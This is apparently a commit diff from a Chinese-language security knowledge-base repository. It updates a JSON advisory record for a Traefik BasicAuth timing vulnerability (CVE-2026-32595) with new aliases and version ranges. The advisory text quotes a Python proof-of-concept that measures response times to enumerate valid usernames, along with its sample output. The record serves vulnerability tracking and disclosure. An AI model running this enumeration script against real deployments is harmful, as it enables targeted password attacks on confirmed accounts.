hao/websafe-kb
1
0
派生 0
代码 工单 合并请求 1 工作流 软件包 项目 发布 百科 活动

更新: 413 个文件 - 2026-03-24 03:45:07

浏览代码
这个提交包含在：
hao
2026-03-24 03:45:08 -07:00
父节点 cd808b4358
当前提交 1e447fe97f
共修改 413 个文件，包含 23191 行新增和 9255 行删除
下载 Patch 文件 下载 Diff 文件 展开所有文件 折叠所有文件

22
08-threat-intel/registry/advisories/traefik--CVE-2026-32595.json
查看文件

@@ -7,7 +7,7 @@
"title": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration",
"summary": "## Summary\n\nThere is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design\n- User doesn't exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n name: basicauth\n namespace: traefik-poc\nspec:\n basicAuth:\n secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n name: test-basicauth\n annotations:\n traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n ingressClassName: traefik\n rules:\n - http:\n paths:\n - path: /protected\n pathType: Prefix\n backend:\n service:\n name: whoami\n port:\n number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n times = []\n for _ in range(SAMPLES):\n start = time.perf_counter()\n requests.get(TARGET, auth=(username, password), timeout=5)\n elapsed = time.perf_counter() - start\n times.append(elapsed)\n return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n median = measure_time(user)\n if median > 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n</details>\n\n---",
"published_at": "2026-03-20T15:43:13Z",
"updated_at": "2026-03-20T15:46:26.940872Z",
"updated_at": "2026-03-23T18:56:05.020639Z",
"severity": "medium",
"cvss_score": 4.0,
"exploit_status": "unknown",
@@ -22,6 +22,7 @@
],
"aliases": [
"CVE-2026-32595",
"GO-2026-4792",
"GHSA-g3hg-j4jv-cwfr"
],
"cve_ids": [
@@ -31,13 +32,15 @@
"GHSA-g3hg-j4jv-cwfr"
],
"osv_ids": [
"GHSA-g3hg-j4jv-cwfr"
"GHSA-g3hg-j4jv-cwfr",
"GO-2026-4792"
],
"affected_versions": [
"introduced=0, last_affected=1.7.34",
"introduced=0, fixed<2.11.41",
"introduced=0, fixed<3.6.11",
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2"
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
"introduced=0"
],
"fixed_versions": [
"2.11.41",
@@ -83,14 +86,15 @@
"introduced=0, last_affected=1.7.34",
"introduced=0, fixed<2.11.41",
"introduced=0, fixed<3.6.11",
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2"
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
"introduced=0"
],
"fixed_version_ranges": [
"2.11.41",
"3.6.11",
"3.7.0-ea.2"
],
"introduced_version": "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
"introduced_version": "introduced=0",
"patched_version": "2.11.41",
"version_evidence_sources": [
"https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr",
@@ -104,7 +108,8 @@
"traefik--repo--github-com-traefik-traefik-v3--introduced-0-last-affected-1-7-34",
"traefik--repo--github-com-traefik-traefik-v3--introduced-0-fixed-2-11-41",
"traefik--repo--github-com-traefik-traefik-v3--introduced-0-fixed-3-6-11",
"traefik--repo--github-com-traefik-traefik-v3--introduced-3-7-0-ea-1-fixed-3-7-0-ea-2"
"traefik--repo--github-com-traefik-traefik-v3--introduced-3-7-0-ea-1-fixed-3-7-0-ea-2",
"traefik--repo--github-com-traefik-traefik-v3--introduced-0"
],
"fixed_version_refs": [
"traefik--repo--github-com-traefik-traefik-v3--2-11-41",
@@ -133,7 +138,8 @@
"introduced=0, last_affected=1.7.34",
"introduced=0, fixed<2.11.41",
"introduced=0, fixed<3.6.11",
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2"
"introduced=3.7.0-ea.1, fixed<3.7.0-ea.2",
"introduced=0"
],
"trigger_vector": "\u5bf9 `proxy-boundary` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
"request_or_ui_path": [
@@ -195,7 +201,7 @@
"source_kinds": [
"osv-batch"
],
"candidate_count": 1,
"candidate_count": 2,
"entity_ref_count": 2,
"advisory_scope": "repo",
"version_confidence": "high",